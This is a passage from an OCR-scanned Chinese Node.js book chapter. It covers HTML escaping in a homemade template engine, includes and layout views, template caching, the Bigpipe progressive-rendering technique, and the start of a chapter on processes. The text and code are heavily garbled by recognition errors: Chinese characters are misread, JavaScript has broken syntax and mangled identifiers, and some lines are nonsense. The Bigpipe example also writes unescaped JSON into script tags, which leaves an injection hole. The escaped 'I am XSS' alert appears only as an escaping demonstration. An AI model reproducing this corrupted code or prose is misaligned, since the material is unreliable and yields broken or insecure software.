形成 HTML 标 签 的 字符 转换 成 安全 的 字符 ， 这 些 字符 主要 有 
车 和 下 人 和 、 1 。 转 义 函 数 如 下 : 
var escape = function (html) { 
return String(html) 

.replace(/&(?!\w+;)/g, '&amp;') 

.replace(/</g, '&lt;') 

.replace(/>/g, '&gt;') 

replace(/"/g, '&quot;') 

.replace(/'/g，'&#039;'); // IE 下 不 支持 &apos; ( 单 引号 ) 转 义 


}; 


不 确定 要 输出 HTML 标签 的 字符 最 好 都 转 义 ， 为 了 让 转 义 和 
非 转 义 表 现 得 更 方便 ，<w=w> 和 <x-%w 分 别 表示 为 转 义 和 非 转 义 
的 情况 ， 如 下 所 示 : 


var render = function (str, data) { 
var tpl = str.replace(/\n/g，'\\n') // 将 换行 符 替换 
.replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 转 义 
return "" + escape(" + code + ") + '"; 
}).replace(/<%-([\s\S]+?)%>/g, function (match, code) { 
// 正常 输出 


return "rr "+ Code + M+ "" 
二 
tpl 二 "tpl 二 TI 十 tpl + es 
tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; 


// 加 上 escape( ) 画 数 
return new Function('obj', 'escape', tpl); 


}; 


模板 引擎 通过 正则 分 别 匹 配 - 和 = 并 区 别 对 待 ， 最 后 不 要 忘记 
人 八 gomgmg 国 妆 °。 最 终 上 面 的 危险 代码 会 转换 为 安全 的 输 
， 旨 修 \: 


Hello &lt;script&gt;alert(&quot;I am XSS.&quot; )&lt;/script&gt;. 


因此 ， 在 模板 技术 的 使 用 中 ， 时 刻 不 要 忘记 转 义 ， 尤 其 是 
与 输入 有 关 的 变量 一 定 要 转 义 。 
模板 逻辑 
尽管 模板 技术 已 经 将 业务 逻辑 与 视图 部 分 分 离开 来 ， 但 是 视图 
上 还 是 会 存在 一 些 逻 辑 来 控制 页 面 的 最 终 泻 染 。 为 了 让 上 述 模 
板 变 得 强大 一 点 ， 我 们 为 它 添加 有 逻辑 代码 ， 使 得 模板 可 以 像 
ASP、PHP 那 样 控制 页 面 演 染 。 璧 如 下 面 的 代码 ， 结 果 HTML 与 
输入 数据 相关 : 


<% if (user) { %> 
<h2><%= user.name %></h2> 


<% } else { %> 
<h2> 匿 名 用 户 </h2> 
<% } %> 


它 要 编译 成 的 琅 数 应 该 是 如 下 这 样 的 : 


function (obj, escape) { 


Var tpl = ""; 
with (obj) { 
if (user) { 
tpl += "<h2>" + escape(user.name) + "</h2>"; 
} else { 
tpl += "<h2> 匿 名 用 户 </h2>"， 
} 
return tpl; 


} 


模板 引擎 拼接 字符 串 的 原理 还 是 通过 正则 表达 式 


换 ， 如 下 所 示 : 


var complie = function (str) { 
var tpl = str.replace(/\n/g，'\\n') // 将 换行 符 蔡 换 
.replace(/<%=([\s\S1+?)%>/g, function (match, code) { 
// 转 义 
return "' + escape(" + code + ") + ") 
}).replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 正常 输出 
Peturmn COde: tt 
}).replace(/<%([\s\S]+?)%>/g, function (match, code) { 
// 可 执行 代码 
return ;Nn" + code + "\ntpl += "",; 
}).replace(/\'\n/g, '\'') 
replace(/NNnN\'/gm, 入 )7 


tpl 二 "tpl 二 LL + tpl 十 0 
// 转换 空 行 
tpl = tpl.replace(/''/g, '\'\\n\''); 


进 


tpl = 'var tpl = "")Nnwith (obj || 人 ©) 人 n'+tpl+ '\n}\nreturn tpl;'; 


return new Function('obj', 'escape', tpl1); 


}; 


完成 上 面 的 实现 后 ， 试 试 成果， 如 下 所 示 : 


var tpl = [ 
'<% if (user) { %>', 
'<h2><%=Uuser .name%></h2> '， 
"<% } else { %>', 
'<h2> 医 名 用 尸 </h2>"， 
'<% } %>'].join('\n'); 


render(complie(tpl), {user: {name: 'Jackson Tian'}}); 


得 到 的 输出 内 容 如 下 所 示 : 


<h2>Jackson Tian</h2> 


接 下 来 在 不 传递 user 时 试 试 ， 如 下 所 示 : 


render (complie(tpl1), {}); 


结果 是 遗憾 地 得 到 异常 信息 ， 如 下 所 示 : 
undefined:5 


if (user) { 
八 


ReferenceError: user is not defined 


为 了 程序 的 健壮 性 ， 需 要 将 模板 写 得 健壮 一 点 ， 对 于 不 确定 是 
人 否 存 在 的 属性 ， 应 该 为 它 加 上 引用 ， 如 下 所 示 : 


var tpl = [ 
"<% if (obj.user) { %>", 
'<h2><%=user .name%></h2> ' ， 
"<% } else { %>", 
'<h2> 医 名 用 尸 </h2>"， 
'<% } %>'].join('\n'); 


EJS 中 ， 它 的 变量 不 是 opj， 而 是 locals， 这 里 的 值 与 模板 引擎 中 的 
with 语 句 有 天 。 重 新 执行 上 面 的 示例 ， 得 到 的 结果 为 : 


<h2> 匿 名 用 户 </h2> 


此 外 ， 实 现 了 执行 表达 式 的 模板 引擎 还 能 进行 循环 ， 如 下 所 
AM: 
var tpl = [ 
"<% for (var i = 0; i < items.length; i++) { %>', 
'<%var item = items[i];%>", 
'<p><%= i+1 %>、<%=item.name%></p>", 
1<% } %! 
1].join('\n'); 
render(complie(tpl), {items: [{name: 'Jackson'}, {name: ' 杆 灵 '}]}); 


得 到 的 输出 如 下 所 示 : 


<p>1、Jackson</p> 
<p>2、 朴 灵 </p> 


如 此 ， 我 们 实现 的 模板 引 警 已 经 能 够 处 理 输 出 和 人 逻辑 了 ， 视 图 
的 泻 染 逻辑 不 成 问题 。 
集成 文件 系统 


前 文 我 们 实现 的 complie() 和 renger() 汞 数 已 经 能 够 实现 将 输入 的 模 
板 字符 串 进 行 编译 和 替换 的 功能 。 如 果 与 前 文 的 HTTP 响 应 对 象 
组 合 起 来 处 理 的 话 ， 我 们 响应 一 个 客户 端的 请 求 大 致 如 下 : 


app.get('/path', function (req, res) { 
fs.readFile("file/path™, utf8;, function (err;y text). { 
if (err) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res .end(' 模 板 文件 错误 ' ) ; 
return; 


res.writeHead(200, {'Content-Type': 'text/html'}); 
var html = render(complie(text), data); 
res.end(htm]l); 


}); 
}); 


这 样 的 响应 体验 并 不 友好 ， 其 缺点 有 如 下 几 点 。 

每 次 请 求 需要 反复 恋人” 盘 上 的 模板 文件 。 

每 次 请 求 需要 编译 。 

调用 烦 珊 。 
如 果 你 记性 不 差 的 话 ， 应 该 知道 大 多 数 的 MVC 框 架 在 做 泻 染 时 
都 只 有 一 个 简单 的 render() 方 法 ， 所 以 我 们 也 需要 一 个 更 简洁 、 人 性 
能 更 好 的 render() 国 数 ， 如 下 所 示 : 


var cache = 2 
Var VIEW_FOLDER = '/path/to/wwwroot/views'; 


res.render = function (viewname, data) { 
If (!cache[viewname]) 区 

Var text ; 

try 
text = fs,.readFileSync(path.join(VIEW_ FOLDER, viewname), 'utf8"'); 

} catch (e) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end(' 模 板 文件 错误 ' ) ; 
return; 


cache[viewname] = complie(text); 


var complied = cache[viewname]; 
res.writeHead(200, {'Content-Type': 'text/html'}); 
var html = complied(data); 
res.end(htm]l); 
}; 


这 个 res.render() 实 现 中 ， 虽然 有 同步 读 取 文件 的 情况 ， 但 是 由 于 
采用 了 缓存 ， 只 会 在 第 一 次 读 取 的 时 候 造成 整个 进程 的 阻塞 ， 
一 有 旦 缓存 生效 ， 将 不 会 反复 读 取 模 板 文件 。 其 次 ， 缓 存 之 前 已 
经 进行 了 编译 ， 也 不 会 每 次 读 取 都 编译 。 

封装 完 泻 染 函 数 之 后 ， 我 们 的 调用 就 很 轻松 了 ， 如 下 所 示 : 
app.get('/path', function (req, res) { 


res.render('viewname', {}); 


}); 


与 文件 系统 集成 之 后 ， 再 引入 缓存 ， 可 以 很 好 地 解决 性 能 问 
题 ， 接 口 也 大 大 得 到 简化 。 由 于 模板 文件 内 容 都 不 太 大 ， 也 不 
属于 动态 改动 的 ， 所 以 使 用 进程 的 内 存 来 缓存 编译 结果 ， 并 不 
会 引起 太 大 的 垃圾 回收 问题 。 

子 模板 

有 时 候 模 板 文件 太 大 ， 太 过 复杂 ， 会 增加 维护 上 的 难度 ， 而 且 
有 些 模板 是 可 以 重用 的 ， 这 催生 了 子 模板 (Partial View) 的 产 


生 。 子 模板 可 以 嵌 套 在 别 的 模板 中 ， 多 个 模板 可 以 内 入 同一 个 
子 模板 中 。 维 护 多 个 子 模 板 比 维护 完整 而 复杂 的 大 模板 的 成 本 
要 低 很 多 ， 很 多 复杂 问题 可 以 降解 为 多 个 小 而 简单 的 问题 。 

include 关 键 字 来 实现 模板 的 内 套 。 假 设 母 模板 如 


<ul> 
<% users.forEach(function(user){ %> 
<% include user/show %> 
<% }) %> 
</ul> 


子 模板 user/snow 内 容 如 下 : 


<1i><%=user .name%></1i> 


泻 染 出 来 的 效果 应 当 跟 以 下 代码 演 染 出 来 的 效果 别 无 二 致 : 


<ul> 
<% users.forEach(function(user){ %> 
<1i><%=user .name%></1i> 
<% }) %> 
</ul> 


所 以 实现 子 模板 的 诀窍 就 是 先 将 include 语 句 进行 奉 换 ， 再 进行 整 
体 性 编译 ， 如 下 所 示 : 


var files = {}; 


var preComplie = function (str) { 
var replaced = str.replace(/<%\st+ 
(include.*)\s+%>/g, function (match, code) { 
var partial = code.split(/\s/)[1]; 
If (!files[partial]) { 
files[partial] = fs.readFileSync(path,join(VIEW_FOLDER，partial)， "utf8 
'); 


return files[partiall]; 


}); 


// 多 层 同 套 ， 继 续 蔡 换 
if (str.match(/<%\s+(include.*)\s+%>/)) { 
return preComplie(replaced); 
} else { 
return replaced; 
} 
}; 


然后 我 们 改进 一 下 conplie0) 函 数 ， 在 正式 编译 前 进行 子 模板 替 
换 ， 如 下 所 示 : 


var complie = function (str) { 
// 预 解析 子 模板 
str = preComplie(str); 
var tpl = str.replace(/\n/g，'\\n') // 将 换行 符 蔡 换 
.replace(/<%=([\s\S]1+?)%>/g, function (match, code) { 
// 转 义 


return "”' + escape(" + code + ") + ") 
}).replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 正常 输出 


return C0de 二 
}).replace(/<%([\s\S]+?)%>/g, function (match, code) { 

// 可 执行 代码 

return "')Nn" + code + "\ntpl += "'" 
}).replace(/\'\n/g, '\'') 
.replace(/\n\'/gm, '\''); 


tpl 二 "tpl 二 LL 十 tpl 十 mt mh 

// 转换 空 行 

tpl = tpl.replace(/''/g, '\'\\n\''); 

tpl = 'var tpl = "";\nwith (obj || fT) {\n' + tpl + '\n}\'nreturn tpl;'; 
return new Function('obj', 'escape', tpl1); 


}; 
布局 视图 


于 模板 主要 是 为 了 重用 模板 和 降低 模板 的 复杂 度 。 了 于 模板 的 男 
一 种 使 用 方式 就 是 布局 视图 (layout) ， 布 局 视图 又 称 母 版 页 ， 
它 与 子 模板 的 原理 相同 ， 但 是 场景 稍 有 区 别 。 一 般 而 言 模板 指 
定 了 子 模 板 ， 那 它 的 子 模板 就 无 法 进行 替换 了 ， 子 模板 说 嵌入 
到 多 个 父 模板 中 属于 正常 需求 ， 但 是 如 果 在 多 个 父 模 板 中 只 有 是 
巾 入 的 子 视图 不 同 ， 模 板 内 容 却 完全 一 样 ， 也 会 出 现 重复 。 比 
如 下 面 两 个 简单 的 父 模板 : 
// 模板 1 
<ul> 
<% users.forEach(function(user){ %> 
<% include user/show %> 
<% }) %> 
</ul> 
// 模板 2 
<ul> 
<% users.forEach(function(user){ %> 
<% include profile %> 
<% }) %> 
</ul> 


这 些 重复 的 内 容 主 要 用 来 布局 ， 为 了 能 将 这 些 布 局 模板 重用 起 

来 ， 模 板 技 术 必 须 支 持 布 局 视图 。 支 持 布 局 视图 之 后 ， 布 局 模 

0 一 份 ， 泻 染 视 图 时 ， 指 定好 布局 视图 就 可 以 了 ， 如 下 
人 小: 


res.render('viewname', { 
layout: 'layout.html', 
users: [] 


}); 


对 于 布局 模板 文件 ， 我 们 设计 为 将 <%- bouy % 部 分 蔡 换 为 我 们 的 子 
模板 ， 如 下 所 示 : 


<ul> 
<% users.forEach(function(user){ %> 
<%- body %> 


<% }) %> 
</ul> 


替换 代码 如 下 : 


var renderLayout = function (str, viewname) { 


return str.replace(/<%-\s*body\s*%>/g, function (match, code) { 


If (!cache[viewname]) { 


cache[viewname] = fs.readFileSsync(fs.join(VIEW_ FOLDER, viewname), 


} 
return cache[viewname]; 
}); 
}; 


最 终 集成 进 res : render() 团 数 ， 如 下 所 示 : 


res.render = function (viewname, data) { 
Var layout = data.layout; 
if (layout) { 
if (!cache[layout]) { 


try { 
cache[layout] = fs.readFileSync(path.join(VIEW_ FOLDER, layout), 
'); 
} catch (e) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end( ' 布 局 文件 错误 ' ) ; 
return; 
} 
} 
} 
Var layoutContent = cache[layout] || '<%-body%>'; 


var replaced; 
try { 
replaced = renderLayout(layoutContent, viewname); 
} catch (e) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res ,end(' 模 板 文件 错误 ' ) ; 
return; 


} 
// 将 模板 和 布局 文件 名 做 Key 缓存 
Var key = viewname + ':' + (layout || ''); 
If (!cache[key]) { 
// 编译 模板 
cache[key] = cache(replaced); 
} 
res.writeHead(200, {'Content-Type': 'text/html'}); 
var html = cache[key](data); 
res.end(htm]l); 
}; 


如 此 ， 我 们 可 以 轻松 地 实现 重用 布局 文件 ， 如 下 所 示 : 


res.render('user', { 
layout: 'layout.html', 
users:; [] 

}); 

// 或 者 

res.render('profile', { 
layout: 'layout.html', 


'utf8 


'utf8 


USers: [] 
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7. ”模板 性 能 
从 前 文 的 实现 细 市 中 我 们 可 以 看 到 一 些 模 板 引 苟 的 优化 步 又 ， 
主要 有 如 下 必 种 。 

缓存 模板 文件 。 

缓存 模板 文件 编译 后 的 函数 。 
完成 上 述 两 个 步骤 之 后 ， 演 染 的 性 能 与 生成 的 画 数 直接 相关 ， 
这 个 函数 与 模板 字符 串 的 复杂 度 有 直接 关系 。 如 有 果 在 模板 中 编 
写 了 执行 表达 式 ， 执 行 表 达 式 的 性 能 将 直接 影响 模板 的 性 能 。 
0 所 以 加 入 一 条 优化 步 
了: 


oO 


oO 


o 优化 模板 中 的 执行 表达 式 

除了 这 几 个 常见 的 方案 外 ， 模 板 引 擎 的 实现 也 与 性 能 相 
关 。 本 市 的 实现 中 采用 了 new Function()， 事 实 上 还 可 以 使 用 
eval(); 对 于 字符 串 处 理 ， 本 节 中 用 的 是 字符 串 直 接 相 加 ， 

有 的 模板 引擎 采用 数组 存储 的 方式 ， 最 后 将 所 有 字符 串 相 
连 。 对 于 变量 的 查找 ， 本 厄 采 用 的 是 witn 形 成 作用 域 的 方式 
实现 了 查找 ， 有 的 模板 引 敬 采用 了 本 市 第 一 种 方式 ， 即 指 
定 变量 名 的 方 Fk (obj.username) 查找 ， 指定 变量 而 不 用 witn 可 
以 减少 切换 上 下 文 。 这些 细 市 都 是 影响 模板 速度 的 因素 。 
由 于 现 有 模板 引擎 数量 巨 多 ， 此 处 不 再 做 比较 。 

8.， 小结 


模板 技术 的 出 现 ， 将 业务 开发 与 HTML 输 出 的 工作 分 离开 来 ， 它 
的 设计 原理 就 是 单一 职责 原理 。 这 与 MVC 中 的 数据 、 逻 辑 、 视 
图 分 离 如 出 一 辕 ， 更 与 前 端 HTML、CSS、JavaScript 分 离 的 设计 
理念 一 致 ， 让 视觉 、 结 构 、 逻 辑 分 离开 来 。 随 着 Node 的 出 现 ， 
模板 能 够 在 前 后 端 共 用 实在 是 太 寻 常 不 过 的 事情 ， 甚 至 都 不 用 
去 重复 实现 引擎 。 本 忆 介 绍 了 模板 的 基本 原理 ， 如 今 各 种 各 样 
的 模板 具备 不 同 的 特性 和 性 能 。 最 知名 的 有 EJS、Jade 等 ， 它 们 
在 模板 语言 的 设计 上 各 不 相同 ，EJS 是 ASP、PHP、JSP 风 格 的 模 
板 标签 ，Jade 则 类 似 Python、Ruby 的 风格 。 

丁 介绍 了 模板 技术 的 实现 细节 ， 读 者 可 以 按照 本 下 的 思路 实 
现 上 自己 的 模板 引擎 ， 也 可 以 使 用 EJS、Jade 等 成 熟 的 模板 引擎 ， 
除了 上 述 提 及 的 ， 还 有 过 滤器 等 功能 。 


8.5.4 Bigpipe 


这 个 名 词 与 在 第 4 章 中 提 到 的 Bagpipe 比 较 相 似 ， 不 过 Bagpipe 的 翻译 为 风 
笛 ， 是 用 于 调用 限 流 的 。 此 处 的 Bigpipe 是 产生 于 Facebook 公 司 的 前 端 加 
载 技 术 ， 它 的 提出 主要 是 为 了 解决 重 数据 页 面 的 加 载 速度 问题 ， 在 2010 
年 的 Velocity 会 议 上 ， 当 时 来 自 Facebook 的 将 长 浩 先 生 分 享 了 该 议题 ， 随 
后 引起 了 国内 业界 巨大 的 反 啊 。 


这 里 以 一 个 简单 的 例子 说 明 下 前 文 提 到 的 MVC 和 模板 技术 潜在 的 问题 : 


app.get('/profile', function (req, res) { 
db.getData('sql1', function (err, users) { 
db.getData('sql2', function (err, articles) { 
res.render('user', { 
layout: 'layout.html', 
users: users, 
articles: articles 


}); 
}); 
}); 


这 个 例子 中 ， 我 们 渲染 proriie 页 面 需 要 获取 users 和 articles 数 据 ， 然后 通过 
布局 文件 1ayout 和 模板 文件 user， 最 终 发 出 页 面 到 浏览 絮 端 。 排 除 挥 模板 文 
件 和 布局 文件 可 能 同步 的 影响 ， 将 无 依赖 的 数据 获取 通过 EventProxy 解 
开 ， 如 下 所 示 : 
app.get('/profile', function (req, res) { 
var ep = new EventProxy(); 


ep.all('users', 'articles', function (users, articles) { 
res.render('user', { 


layout: 'layout.html', 
users: users, 
articles: articles 


}); 


}); 
ep.fail(function (err) { 
res.render('err', {message: err.message}); 


}); 

db.getData('sql1i', ep.done('users')); 
db.getData('sql2', ep.done('articles')); 
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至 此 还 存在 的 问题 是 什么 ? 


问题 在 于 我 们 的 页 面 ， 最 终 的 HTML 要 在 所 有 的 数据 获取 完成 后 才 输 出 到 
浏览 器 端 。Node 通 过 异步 已 经 将 多 个 数据 源 的 获取 并 行 起 来 了 ， 最 终 的 
页 面 输出 速度 取决 于 两 个 数据 请 求 中 响应 时 间 慢 的 那个 。 在 数据 啊 应 之 
前 ， 用 户 看 到 的 是 空白 页 面 ， 这 是 十 分 不 友好 的 用 户 体验 。 

Bigpipe 的 解决 思路 则 是 将 页 面 分 割 成 多 个 部 分 (pagelet) ， 先 向 用 户 输 
出 没有 数据 的 布局 (框架 ) ， 将 每 个 部 分 逐步 输出 到 前 端 ， 再 最 终 演 染 
填充 框架 ， 完 成 整个 网 页 的 泻 染 。 这 个 过 程 中 需要 前 端 JavaScript 的 参 
与 ， 它 负责 将 后 续 输 出 的 数据 泻 染 到 页 面 上 。 


Bigpipe 征 一 个 需要 前 后 端 配合 实现 的 优化 技术 ， 这 个 技术 有 几 个 重要 的 


人 


。 页 面 布局 框架 (无 数据 的 ) 。 
。 后 端 持 续 性 的 数据 输出 。 


。 前 病 演 染 。 


Bigpipe 的 演 染 流程 示意 图 如 图 8-8 所 示 。 


服务 器 端 layout datal data2 el | | end | 
ee | er | et et | 加 


带 天 窗 的 网 页 轮廓 补 天 窗 补 天 窗 


图 8-8 ”Bigpipe 的 演 染 流程 示意 图 


1.， ”页 面 布 局 框 染 
页 面 布局 框架 依然 由 后 端 泻 染 而 出 ， 如 下 所 示 : 


var cache = {}; 
var layout = 'layout.html'; 
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浏览 


[os 


上- 


app.get('/profile', function (req, res) { 
if (!cache[layout]) { 
cache[layout] = fs.readFileSync(path.join(VIEW_ FOLDER, layout), 'utf8'); 
} 


res.writeHead(200, {'Content-Type': 'text/html'}); 
res.write(render(complie(cache[layout]))); 
// TODO 


于 


个 布局 文件 中 要 引入 必要 的 前 端 脚本 ， 如 jQuery、Underscore 
等 常用 库 ， 其 次 要 引入 我 们 重要 的 前 端 脚本 ， 这 里 的 文件 名 为 
bigpipe.js。 整体 模板 文件 如 下 所 示 : 


// layout.html 
<!DOCTYPE html> 
<html> 
<head> 
<title>Bigpipe 示 例 </title> 
<script src="jquery.js"></script> 
<script src="underscore.js"></script> 
<script src="bigpipe.js"></script> 
</head> 


<body> 
<div id="body"></div> 
<script type="text/template" id="tpl_ body"> 
<div><%=articles%></div> 
</script> 
<div id="footer"></div> 
<script type="text/template" id="tpl_ footer"> 
<div><%=UusSers%></div> 
</script> 
</body> 
</html> 
<script> 
var bigpipe = new Bigpipe(); 
bigpipe.ready('articles', function (data) { 
$('#body').html(_.render($('#tpl_body').html(), {articles: data})); 
}); 
bigpipe.ready('copyright', function (data) { 
$('#footer').html(_.render($('#tpl footer').html(), {users: data})); 
}); 


</script> 


持续 数据 输出 


模板 输出 后 ， 整 个 网 页 的 泻 染 并 没有 结束 ， 但 用 户 已 经 可 以 看 
到 整个 页 面 的 大 体 样子 。 接 下 来 我 们 继续 数据 输出 ， 与 普 i 通 的 
数据 和 输出 不 同 ， 这 里 的 数据 输出 之 后 需要 被 前 端 脚本 处 理 ， 是 
故 需要 对 它 进 行 封 装 处 理 ， 如 下 所 示 : 


app.get('/profile', function (req, res) { 
if (!cache[layout]) { 
cache[layout] = fs.readFileSync(path.join(VIEW_ FOLDER, layout), 'utf8'); 
} 


res.writeHead(200, {'Content-Type': 'text/html'}); 

res.write(render(complie(cache[layout]))); 

ep.all('users', 'articles', function () { 
res.end(); 


ep.fail(function (err) { 
res.end(); 


}); 
db.getData('sql1i', function (err, data) { 
data = err ? {} : data; 
res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + '); 
</script>'; 
}); 
db.getData('sql2', function (err, data) { 
data = err ? {} : data; 
res.write('<script>bigpipe.set("copyright", ' + JSON.stringify(data) + ') 
;</script>'; 


}); 
}); 
对 于 需要 演 染 到 页 面 上 的 数据 ， 它 的 封装 如 下 : 
res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + '); 


</script>"'; 


这 样 最 终 HTML 代 码 的 尾巴 上 还 应 该 有 如 下 这 样 的 代码 : 


<script>bigpipe.set("articles", "I am article");</script> 
<script>bigpipe.set("copyright", "I am copyright");</script> 


这 两 行 代码 的 顺序 取决 于 谁 先 完成 两 次 异步 调用 。 由 于 Node 非 
咀 塞 的 特性 ， 多 次 异步 调用 可 以 并 行 执 行 ， 谁 先 结束 谁 束 可 以 
快速 推送 到 HITML 页面 上 ， 随 着 前 端 脚本 的 执行 ， 残 可 以 更 快 地 
泻 染 到 页 面 上 。 

相 比 Facebook 原 始 的 Bigpipe 应 用 在 PHP 这 类 阻塞 式 环境 中 ， 
Node 在 数据 获取 上 可 以 并 行进 行 ， 使 得 Bigpipe 更 具 效 果 。 

前 端 泻 染 

前 文 的 bigpipe.ready() 和 bigpipe.set() 是 整个 前 端的 泻 染 机 制 ， 前 者 
以 一 个 key 注 册 一 个 事件 ， 后 者 则 触发 一 个 事件 ， 以 此 完成 页 面 
的 演 染 机 制 。 这 两 个 函数 定义 在 bigpipe,js 文 件 中 ， 如 下 所 示 : 


var Bigpipe = function () { 
this.callbacks = {}; 
}; 


Bigpipe.prototype.ready = function (key, callback) { 
If (!this.callbacks[key]) { 
this.callbacks[key] = []; 


} 
this.callbacks[key].push(callback); 


Bigpipe.prototype.set = function (key, data) { 
Var callbacks = this.callbacks[key] || []; 
for (var i = 0; i < callbacks.length; i++) { 

callbacks[i].call(this, data); 


}7 

小 结 

Bigpipe 将 网 页 布局 和 数据 演 染 分 离 ， 使 得 用 户 在 视觉 上 觉得 网 
页 提前 泻 染 好 了 ， 其 随 着 数据 输出 的 过 程 逐 步 演 染 页 面 ， 使 得 
用 户 能 够 感知 到 页 面 是 活 的 。 这 远 比 一 开始 给 出 空白 页 面 ， 然 
后 在 某 个 时 候 突然 泻 染 好 带 给 用 户 的 体验 更 好 。Node 在 这 个 过 
程 中 ， 其 异步 特性 使 得 数据 的 输出 能 够 并 行 ， 数 据 的 输出 与 数 
据 调 用 的 顺序 无 关 ， 越 早 调用 完 的 数据 可 以 越 早 渲染 到 页 面 
中 ， 这 个 特性 使 得 Bigpipe 更 趋 完美 。 

要 完成 Bigpipe 这 样 逐 步 泻 染 页 面 的 过 程 ， 其 实 通过 Ajax 也 能 完 
成 ， 但 是 Ajax 的 背后 是 HTTP 调 用 ， 要 耗费 更 多 的 网 络 连接 ， 
人 
完成 Bigpipe 所 要 涉及 的 细 和 万 较 多 ， 比 MVC 中 的 直接 演 染 要 复杂 
许多 ， 建 议 在 网 站 重要 的 且 数 据 请 求 时 间 较 长 的 页 面 中 使 用 。 


8.6 总结 

本 章 涉 及 的 内 容 较为 丰富 ， 在 Web 应 用 的 整个 构建 过 程 中 ， 从 处 理 请 
求 到 啊 应 请 求 的 整个 过 程 都 有 原理 性 阐述 ， 整 理 本 章 细 节 就 可 以 完成 
一 个 功能 完备 的 Web 开 发 框架 。 过 去 的 各 种 Web 技 术 ， 随 着 框架 和 库 
的 成 型 ， 开 发 者 往往 迷糊 地 知道 应 用 框架 和 库 ， 却 不 知道 细节 的 实 
现 ， 这 好 比 没有 地 图 却 在 野地 里 行进 。 本 章 的 内 容 希 望 能 为 Node 开 发 
考 带 来 地 图 似 的 启发 ， 在 开发 Web 应 用 时 能 够 心 有 轮 廓 ， 明 了 细微 。 
现在 知名 和 成 熟 的 Web 框 架 有 Connect、Express 等 ， 本 章 中 的 内 容 在 这 
些 框架 中 都 有 实现 ， 因 为 行文 的 原因 ， 本 章 中 的 代码 实现 得 较为 粗 
糙 ， 实 际 使 用 请 使 用 这 些 成 熟 的 框架 。 


8.7 参考 资源 
本 章 参考 的 资源 如 下 : 


。 http://tools.ietf.org/html/rfc3875 
。 http://tools.ietf.org/html/rfc2069 


。 http:/www.ietf.org/rfc/rfc1867 .txt 

。 http://en.wikipedia.org/wiki/Cross-site request forgery 

. https://github.com/senchalabs/connect/blob/master/lib/middlewar 
e/csrf.js 

。 http://en.wikipedia.org/wik/Model%E2%80%93viewW%E2%80% 
93controller 

。 http:/www.ibm.comy/developerworks/webservices/library/ws- 
restful/ 

。 http://en.wikipedia.org/wiki/Middleware 

。 http:/mustache.github.io/ 

。 https://github.com/joyent/node/wiki/modules#wiki-templating 

. https://developer.mozilla.org/zh- 


CN/docs/JavaScript/Reference/Global Objects/Eunction 


第 9 章 ” 玩 转 进 程 

Node 在 选 型 时 决定 在 V8 引 警 之 上 构建 ， 也 就 意味 着 它 的 模型 与 浏览 器 
类 似 。 我 们 的 JavaScript 将 会 运行 在 单个 进程 的 单个 线程 上 。 它 带 来 的 
好 处 是 : 程序 状态 是 单一 的 ， 在 没有 多 线程 的 情况 下 没有 锁 、 线 程 同 
步 问 题 ， 操 作 系统 在 调度 时 也 因为 较 少 上 下 文 的 切换 ， 可 以 很 好 地 提 
高 CPU 的 使 用 率 。 

但 是 单 进程 单线 程 并 非 完 美的 结构 ， 如 今 CPU 基 本 均 是 多 核 的 ， 真 正 
的 服务 器 ( 非 VPS) 往往 还 有 多 个 CPU。 一 个 Node 进 程 只 能 利用 一 个 
ps 的 第 一 个 问题 ， 如 何 充分 利用 多 核 CPU 服 
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另外 ， 由 于 Node 执 行 在 单线 程 上 ， 一 旦 单线 程 上 抛 出 的 异常 没有 被 捕 
获 ， 将 会 引起 整个 进程 的 前 省。 这 给 Node 的 实际 应 用 抛 出 了 第 二 个 问 
题 : 如 何 保证 进程 的 健壮 性 和 稳定 性 ? 

在 这 两 个 问题 中 ， 前 者 只 是 利用 率 不 足 的 问题 ， 后 者 对 于 实际 产品 化 
党 来 “ 定 的 顾 记 。 本 章 关 于 进程 的 介绍 和 讨论 将 会 解决 掉 这 两 个 问 
题 o 

从 严格 的 意义 上 而 言 ，Node 并 非 真 正 的 单线 程 架构 ， 在 第 3 章 中 我 们 
有 和 叙述 过 Node 自 身 还 有 一 定 的 MO 线程 存在 ， 这 些 IO 线 程 由 底层 libuv 
处 理 ， 这 部 分 线程 对 于 JavaScript 开 发 者 而 言 是 透明 的 ， 只 在 C++ 扩展 
开发 时 才 会 关注 到 。JavaScript 代 码 永远 运行 在 V8 上 ， 是 单线 程 的 。 本 
章 将 围绕 JavaScript 部 分 展开 ， 所 以 屏蔽 底层 细节 的 讨论 。 


9.1 服务 模型 的 变迁 

从 “十 ”到 今 ，Web 服 务 器 的 架构 已 经 历 了 几 次 变迁 。 服 务 器 处 理 客户 
端 请 求 的 并 发 量 ， 就 是 每 个 里 程 碑 的 见证 。 

9.1.1 石器 时 代 : 同步 

最 早 的 服务 器 ， 其 执行 模型 是 同步 的 ， 它 的 服务 模式 是 一 次 只 为 一 个 
请 求 服 务 ， 所 有 请 求 都 得 按 次 序 等 竺 服务。 这 意味 除了 当前 的 请 求 被 
处 理 外 ， 其 余 请 求 都 处 于 耽误 的 状态 。 它 的 处 理 能 力 相 当 低 下 ， 假 设 
每 次 啊 应 服务 耗 用 的 时 间 稳 定 为 N 秒 ， 这 类 服务 的 QPS 为 VN。 

这 类 架构 如 今 已 基本 被 淘汰 ， 只 在 一 些 无 并 发 要 求 的 应 用 中 存在 。 
9.1.2 ”青铜 时 代 : 复制 进程 

为 了 解决 同步 架构 的 并 发 问题 ， 一 个 简单 的 改进 是 通过 进程 的 复制 同 
时 服务 更 多 的 请 求 和 用 户 。 这 样 每 个 连接 都 需要 一 个 进程 来 服务 ， 即 
100 个 连接 需要 启动 100 个 进程 来 进行 服务 ， 这 是 非常 昂贵 的 代价 。 在 
进程 复制 的 过 程 中 ， 需 要 复制 进程 内 部 的 状态 ， 对 于 每 个 连接 都 进行 
这 样 的 复制 的 话 ， 相 同 的 状态 将 会 在 内 存 中 存在 很 多 份 ， 造 成 浪费 。 
并 且 这 个 过 程 由 于 要 复制 较 多 的 数据 ， 局 动 是 较为 缓慢 的 。 

为 了 解决 启动 缓慢 的 问题 ， 预 复制 (prefork) 被 引入 服务 模型 中 ， 即 
